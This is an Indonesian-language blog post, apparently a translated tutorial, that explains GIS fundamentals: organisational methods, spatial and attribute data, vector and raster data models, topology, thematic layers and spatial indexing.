Teknologi GIS bernilai terbatas tanpa adanya orang-orang yang mengelola sistem dan mengembangkan rencana untuk pemakaiannya kedalam persoalan dunia nyata. Rentang pengguna GIS dari orang-orang teknik tertentu yang merancang dan mengurus sistem sampai pada mereka yang menggunakannya untuk membantu mereka menyelesaikan pekejaan sehari-hari. Mengenali specialist GIS versus end user sering menentukan terhadap kesesuaian penerapan teknologi GIS.


Methods

Keberhasilan pengoprasian GIS sesuai penerapan rencana yang telah dirancang dan aturan-aturan bisnis, yang memodelkan praktek pengoprasian unik bagi tiap organisasi.


Untuk organisasi yang berhubungan teknologi canggih, tools baru hanya bisa digunakan secara efektif jika mereka diintegrasikan secara tepat kedalam seluruh strategi dan operasi bisnis. Untuk melakukan ini secara tepat memerlukan bukan hanya pelatihan ulang dan/atau menyewa pegawai untuk menggunakan teknologi baru tersebut didalam konteks organisasi yang tepat. Kegagalan menerapkan GIS anda karena tidak memperhatikan satu kesepakatan kelayakan organisasi akan berakibat pada satu ketidak berhasilan sistem. Banyak masalah berkenaan dengan kesepakatan organisasi digambarkan pada masalah penerapan dan strategi (Implementasi Issue dan Strategies).


Gampangnya tidak cocok sebuah organisasi membeli sebuah komputer dengan beberapa prangkat lunak GIS, menyewa perorangan yang bersemangat dan berharap sukses dalam sekejap.


IV. Model-model data GIS

Sebuah GIS menyimpan informasi tentang dunia sebagai satu kumpulan layer-layer thematic yang dapat dilink dengan ilmu kebumian. Ini sederhana tetapi secara ekstrim berpengaruh dan konsep yang cakap memberi bukti tidak ternilai dalam menyelesaikan persoalan dunia nyata dari jejak pengiriman kendaraan, merekam rincian aplikasi perencanaan, pemodelan sirkulasi global atmosfir. Pendekatan layer thematic memungkinkan kita menyusun secara sistimatis kerumitan dunia nyata pada satu tampuilan ulang untuk membantu memudahkan pemahaman kita dari keterkaitan yang mendasar.



Jenis data GIS

Jenis data dasar dalam GIS mencerminkan data traditional yang ditemukan dalam peta. Karena itu, teknologi GIS memanfaatkan dua jenis data. Yaitu :

  • Data spatial

    Menggambarkan lokasi mutlak dan relatif dari featur geografi

  • Attribute data

    Menggambarkan sifat-sifat dari keruangan feature.

Koordinat lokasi dari keberadaan sebuah hutan akan merupakan data spatial, sementara sifat-sifat dimana hutan berada seperti : kelompok pemilik, kelompok tanaman yang mendominasi, cara mengakhiri kepemilikan merupakan attribute data. Jenis data lainnya khususnya data citra data multimedia menjadi lebih lazim dengan perubahan teknologi. Tergantung pada kekhususan isi dari data tersebut, data citra bisa dianggap spatial, yaitu potret, animasi, movies dan lain lain.




Model data spatial

Data spatial yang bersifat traditional telah disimpan dan ditunjukkan dalam bentuk peta. Tiga jenis model data spatial telah dikembangkan untuk menyimpan data geografi secara digital. Yaitu :

  • Vektor
  • Raster dan
  • Image (citra)


Diagram berikut mencerminkan dua teknik utama pemberian sandi data spatial. Yaitu vektor dan raster. Data citra memanfaatkan teknik-teknik yang sangat sama dengan data raster, meskipun secara typical kekurangan persyaratan format internal untuk analis dan pemodelan data. Citra mencerminkan picture atau foto dari taman.



Format data vektor

Semua model data spatial pendekatannya untuk menyimpan lokasi spatial dari feature geografi dalam suatu database. Penyimpanan vektor mengandung arti pemakaian vektor-vektor (garis dengan arah) untuk penyuajian kembali satu feature geografi. Data vektor dicirikan oleh pemakaian urutan titik-titik atau vertices untuk menetapkan satu potongan garis lurus. Tiap vertex terdiri atas sebuah koordinat x dan sebuah koordinat y.


Garis-garis vektor sering dirujuk sebagai sebuah arc dan terdiri dari sebuah string pengakhiran verties dengan sebuah titik. Sebuah titik ditetapkan sebagai sebuah vertex yang merupakan awal dan akhir sebuah segmen arc. Feature titik ditentukan oleh sepasang koordinat, sebuah vertex. Feature bentuk poligon didifinisikan sebagai satu set pasangan koordinat tertutup. Dalam penyajian ulang , penyimpanan dari verties-verties untuk tiap feature adalah penting, begitu juga keterhubungan antara feature-feature, yakni pembagian dari verties umum dimana feature bersambung.


Beberapa perbedaan keberadaan model-model data vektor, meskipun demikian hanya dua secara umum digunakan didalam penyimpanan data GIS.


Metoda paling umum untuk mempertahankan keterkaitan spatial diantara feature-feature adalah kejelasan rekord kedaan berdekatan informasi dalam hal ini dikenal sebagai model data. Topologi adalah satu konsep matematika yang menjadi dasardalam prinsip kedekatandan keterhubungan feature.


Struktur data topologi sering dirujuk sebagai sebuah intelligent data structure karena keterkaitan spatial antara feature geografi mudah didatangkan ketika mereka digunakan. Terutama untuk alasan ini dominasi struktur model topologi data vektor berjalan yang digunakan dalam teknologi GIS. Banyak fungsi analisa data yang rumit tidak dapat dilakukan secara effektif tanpa satu struktur data topologi vektor. Topologi akan direview lebih rinci nanti.


Struktur vektor data skunder yang umum diantara prangkat lunak GIS adalah CAD ( computer aided drafting data structure). Struktur ini terdiri atas daftar elemen-elemen, bukan feature, ditetapkan dengan string-string dari verties untuk menetapkan featur-featue grafis, yaitu point, garis, atau luas. Ada banyak redudancy dengan model data ini karena hata segmen antara dua polygon dapat disimpan dua kali, sekali untuk tiap feature. Struktur CAD ini muncul dari pengembangan sistem grafik komputer tanpa anggapan tertentu dari pemrosesan grafik feature. Sesuai dengan hal tersebut, sejak feature, yakni polygon, adalah lengkap dan bebas, pertanyaan tentang kedekatan dari feature dapat menjadi sulit untuk dijawab. Model vektor CAD kurangt penetapan dari keterkaitan spatial antara feature yang ditetapkan dengan model topologi data,



Format data raster

Model sdata raster menggabungkan penggunaan satu struktur data grid-cell dimana area geografi dibagi kedalam cells yang dikenal dengan row dan column. Struktur data ini umumnya disebut raster. Sambil istilah raster menyatakan secar tidak langsung grid dengan jarak teratur lainnya membuat petak-petak struktur data ada dalam grid berbasis sistem GIS.


Luas cell pada satu struktur data kotak dipilih pada basis ketelitian data dan resolusi yang dibutuhkan oleh user. Tidak ada penyandian koordinat grafik yang jelas karena itu tersembunyi dalam layout cell. Struktur data sebuah raster sebenarmya sebuah matrik dimana tiap koordinat dapat dihitung dengan cepat jika titik pusat diketahui, dan ukuran grid cell diketahui. Karena grid cell dapat ditangani sebagai array dua dimensi dalam penyandian komputer banyak operasi analitik mudah diprogramkan. Ini membuat struktur data membentuk petak-petak pilihan yang popular untuk banyak prangkat lunak GIS. Topology bukan satu konsep yang relevant dengan struktur membentuk petak-petak karena kedekatan dan keterhubungan tersembunyi dalam lokasi cell tertentu didalam matrik data.


Beberapa struktur data membentuk petak-petak ada, walupun demikian hanya dua umumnya digunakan dalam GIS. Struktur cell yang paling umum ialah matrik berjarak secara reguler atau struktur raster. Struktur data ini termasuk satu bagian data spatial kedalam cel berjarak reguler. Tiap cell mempunyai bentuk dan ukuran yang sama. Bujur sangkar adalah paling umum digunakan.


Karena data geografi jarang dibedakan dengan bentuk spasi reguler, cell harus digolongkan sebagai atribut paling umum untuk cell tersebut. Persoalan dalam menentukan resolusi yang sesuai untuk layer data tertentu dapat menjadi satu perhatian. Jika seseorang memilih satu ukuran sel begitu kasar maka data mungkin mengambil kesimpulan secara umum melapis. Jika seseorang memilih satu ukuran sel begitu baik maka begitu banyak sel mungkin dirancang menghasilkan dalam satu volume data yang besar, waktu pemrosesesan lebih lambat, dan satu set data lebih tidak praktis. Juga, seseorang dapat menyatakan secara tidak langsung satu ketelitian lebih besar dari pada proses menangkap data awal dan ini mungkin menghasilkan hasil keliru selama analisa.


Juga, karena kebanykan data ditangkap dalam satu format vektor, e.g. digitasi, data harus dirubah kedalam struktur data raster. Ini dinamakan vector-raster conversion. Kebanyakan SW GIS memungkinkan user menetapkan ukuran grid (sel) raster untuk vector-raster conversion. Itu adalah sangat mendesak bahwa skala asal, e.g. ketelitian, dari data diketahui lebih penting untuk conversion. Ketelitian dari data tersebut sering disebut sebagai resolusi, akan menentukan ukuran sel tersebut dari output peta raster selama conversion.


Kebanyakan raster berbasis SW GIS mensyaratkan sel raster tersebut mengandung hanya satu nilai discerete. Sesuai dengan itu, suatu layer data, e.g. persediaan ketinggian hutan, bisa dipecah kedalam sederetan peta-peta raster, masing-masing merepresentasikan satu jenis atribut e.g. peta kelompok tanaman, satu peta ketinggian, satu peta kepadatan, dsb. Hal tersebut sering dirujuk sebagai oene attribut maps. Hal ini tidak membandingkan pada kebanyakan model data vektor convensional yang menyimpan data sebagai multiple attribut map, e.g. poligon persediaan hutan link ke satu tabel database mengandung semua atribut sebagai kolom. Pebedaan mendasar penyimpanan data raster menyediakan pondasi untuk teknik analisa kuantitative. Hal ini sering dirujuk sebagai raster atau map algebra. Pemakaian struktur data raster memperhitungkan proses model matematik seraya vektor berbasis sistem sering dihambat oleh kehandalan sdan bahasa satu relasional DBMS.


MENGORGANISIR DAN MENYIMPAN DATA

Komponen penting kedua untuk sebuah GIS adalah subsistem storage dan retrieval. Subsistem inio mengorganisir data, baik spatial dan atribut, dalam satu bentuk yang memungkinkan di retrieve dengan cepat untuk updating, querying, and analyzing. Kebanyakan SW GIS memanfaatkan pemilik perusahaan SW untuk pengeditan dan retrieval sistem spatial mereka, dan satu DBMS untuk penyimpanan atribut mereka. Secara typical, satu model data internal digunakan untuk menyimpan atribut data pokok berkaitan dengan penentuan topologi spatial data tersebut. Sangat sering tabel-tabel data internal tersebut berisi kolom-kolom utama seperti area, perimeter, length, dan id number feture internal. Sering atribut data thematik dimaintain dalam sebuah DBMS external yang dilink kedata spatial melalui database internal tersebut.


Mengorganisir data untuk analisis

Kebanyakan SW GIS menyusun data spatial dalam satu pendekatan tematik yang membagi data kedalam layer vertikal. Pendifinisian layer sepenuhnya tergantung pada persyaratan organisasi. Typical layer yang dipakai agency atau perusahaan dalam pengelolaan sumber daya alam terdiri atas hutan penutup, jenis tanah, ketinggian, jaringan jalan, ecological area, hydrologi, dsb.


Pemasukan layer data spatial umumnya sekali dalam satu waktu, seperti hutan penutup. Sesuai denga hal itu, model atribut data yang dipakai subsistem penyimpanan data harus disusun dalam satu format yang akan memudahkan tugas manipulasi dan analisis yang akan diperlukan. Sangat sering, spatial dan stribut data bisa dimasukkan pada waktu yang berbeda dan dilink bersama nanti. Walaupun demikian, ini semua tergantung pada sumber data tersebut.


Identifkasi yang jelasi persyaratan untuk satu proyek GIS diperlukan sebelum satu prosedur input data, dan/atau penentuan layre, seharusnya muncul


Adalah mutlak bahwa users GIS memahami keseluruhan kebuthan mereka sebelum menyetujui satu proyek GIS.


Pengalaman telah menunjukkan bahwa pemahaman yang kurang akan kebuthan dan tugas pemrosesan yang diperlukan untuk satu proye tertentu, sangat meningkatkan waktu yang diperlukan untuk menyelesaiakan proyek tersebut, dan mempengaruhi secara terbatas kualitas dan kepercayaan pada produk yang dibawa oleh GIS tersebut.


Layer data spatial – Vertical data organization


Pada kebanyakan SW GIS data diorganisir dalam theme-theme sebagai leyer-leyer. Pendekatan ini memungkinkan data diinput sebagai theme-theme terpisah dan dioverlay berdasarkan pada ketentuan analisis. Ini dapat sebagai konsep sifat layer vertikal dari permukaan bumi. Konsep overly demikian alamiah untuk cartographer (pembuat gambar) dan sumber daya alam tertentu yang telah dibangun kedalam rencana dari kebanyakan sistem vector CAD. Pendekatan overlay / layer tersebut yang dipakai dalam sistem CAD dipakai untuk memisahkan jenis-jenis terbanyak dari feature spatial. Konsep ini juga dipakai pada pada urutan data secara logis pada kebanyakan SW GIS. Pemberian istilah mungkin berbeda antara SW GIS, tetapi pendekatannya sama. Berbagai istilah digunakan untuk menetapkan layer-layer data dalam SW GIS kommersial. Itu mengandung theme-theme, coverage, layer-layer, ketingian-ketinggian, obyek-obyek, dan jenis-jenis feature. Layer dan theme data adalah yang paling umum dan sangat sedikit perusahaan pembuat SW untuk sebarang SW GIS tertentu dan sesuai dengan itu, sebagaimana digunakan pada seluruh buku ini.


Pada sebarang proyek GIS berbagai layer-layer data diperlukan. Semua itu harus dikenali sebelum proyek tersebut dimulai dan sebuah prioritas diberikan untuk menginput atau mendigitasi layer-layer data spatial. Ini mutlak, karena sering satu layer data mengandung feature-feature yang berimpitan satu sama lain, seperti danau-danau dapat dipakai untuk mendifinisikan polygon diantara inventaris layer data hutan. Layer data secara umum ditetapakan berdasar pada kebutuhan user dan keadaan dapat dipercaya dari data. Ada keadaan user mampu menetukan secara lengkap.

Penetapan layer data sepenuhnya tergantung pada bidang kepentingan dan prioritas yang diperlukan GIS tersebut. Penetapan layer bisa Sangay berbeda tergantung pada kebutuhan yang direncanakan dari GIS tersebut.

Ketika memilih persyaran fisik dari SW GIS adalah penting memahami bahwa dua jenis data dibutuhkan untuk tiap layer, atribut dan spatial data. Secara umum, layer-layer data diinput kedalam GIS satu layer pada satu waktu. Begitu juga , sering satu layer data dimuat secara lengkap yaitu perubahan (conversion) grafik, editing, topological buiding, attribute conversion, linking, dan verification, sebelum layer data selanjutnya dimulai. Karena ada beberapa langkah terkait dalam menyelesaikan pemuatan (loading) satu layer data hal ini dapat menjadi sangat membingungkan juka banyak layer dimuat dalam sekaligus.

Identifikasi yang sesuai dari layer-layer prioritas untuk mulai input data adalah menetukan (kritis). Identifikasi layer-layer data sering dicapai melalui analisa kebutuhan user. Analisa kebutuhan user melakukan beberapa fungsi termasuk :

  • Identifying the users
  • Educating users with respect to GIS need
  • Identifying information products
  • Identifying data requirements for information products
  • Priorizing data requirement and products, and
  • Determining GIS functional requirements

Sering satu user need assessment akan berisi satu review dari operasi-operasi yang ada, yaitu kadang-kadang disebut a situational assessment, dan a cost benefit analisis. Proses cost benefit dikenal dengan baik dalam penrosesan data conventional dan membantu sebagai mekanisme untuk membenarkan perolehan HW dan SW. Ia menetapkan dan membandingkan biaya terhadap potensial benefit. Kebanyakan institusi akan memerlukan langkah ini sebelum sebuah perolehan sebuah GIS dapat diterima.

Kebanyakan proyek GIS mengintegrasikan layer-layer data untuk mengcreate theme yang dijalankan atau layer yang menyajikan kembali hasil dari beberapa perhitungan atau model geografi, seperti keadaan dapat dipasarkan sebuah hutan, keadaan kesesuaian penggunaan tanah dsb. Drived data layers secara lengkap tergantung pada arah dari proyek.

Tiap layer data akan di input tersendiri dan topological terintegrasi untuk meng create kombinasi layer-layer data. Berdasar pada model data, yaitu vektor atau raster, dan struktur topological, pilihan fungsi-fungsi analisa data dapat disetujui. Hal in penting untuk dicatat bahwa untuk GIS berbasis vector penetapan struktur struktur topological hanya dapat di jelajahi dengan menandakan lebel-lebel unik pada tiap feature.

Spatial indexing – Horizontal Data Organization

Organisasi pemilik perusahaan dari layer-layer data dalam model horizontal dalam sebuah GIS dikenal sebagai spatial indexing. Spatial indexing adalah metoda digunakan oleh SW tersebut untuk menyimpan dan meretrive data spatial. Berbagai strategi berbeda yang ada untuk mempercepat proses retrieve dalam sebuah produk SW GIS. Kebanyakan terkait pembagian area geographic kedalam subset yang mangeable atau tile. Tile-tile tersebut kemudian diindex secara matematis yaitu dengan quadtrees, dengan R (rectangle) trees, untuk memungkinkan pencarian dan retrieval dengan cepat ketika querying dimulai oleh satu user. Spatial indexing adalah analog dengan penetapan lembar-lembar peta, kecuali bahwa teknik indexing tertentu digunakan untuk mengasses data menyeberang batas-batas lembar-lembar peta (tile). Ini dikerjakan sederhana untuk menunjukkan kinerja query untuk data set yang besar yang membentangi banyak sekali lembar-lembar peta, dan menjamin kesatuan (integrity) data sepanjang batas lembar peta.

Metoda dan peruses indexing spatial biasanya transparan kepada user. Walaupun begitu, ia sangat penting khususnya ketika set data yang besar dipakai. Pengertian indexing spatial teleh demikian penting dalam perencanaan SW GIS pada beberapa tahun terakhir, aplikasi bersekla besar telah memulai menggunakan teknologi GIS. User telah menemukan bahwa waktu respons dalam query set data yang sangat besar kelambatan tidak dapat diterima. Vendor SW GIS telah menanggapi dengan mengembangkan algoritma yang canggih untuk mengindex dan retrieve data spatial. Adalah penting dicata bahwa sistem raster, dengan sifat dari struktur datanya, secara typical tidak memerlukan satu metoda spatial indexing. Pendekatan raster membebankan kebiasaan, yang siap ditujukan pada hakekatnya pemisahan data alam dengan struktur datanya. Sesuai dengan itu, indexing spatial biasanya tidak diperlukan . Oleh karena itu, vector GIS yang lebih canggih membutuhkan satu metoda untuk meretrieve obyek data spatial.

Diagram berikut melukiskan satu library peta typical yang disusun untuk satu area intrest. Hutan penutup layer diperlihatkan untuk 6 contoh tile untuk melukiskan bagaimana data disimpan secara transparan dalam satu library peta menggunakan satu incex spatial. Klik pada peta untuk melihat 6 contoh tile.




Indexing horizontal data spatial dalam sebuah SW GIS melibatkan beberapa persoalan. Hal tersebut berhubungan dengan luasnya pendekatan spatial indexing tersebut. Mereka terdiri atas ;

Baca Selengkapnya... »»

About Me

Foto Saya
Sahrul Ramdoni
Lihat profil lengkapku

Follower

Powered By Blogger

Inginku tau © 2009. Template by Sahrul Ramdoni.

@sahrulramdoni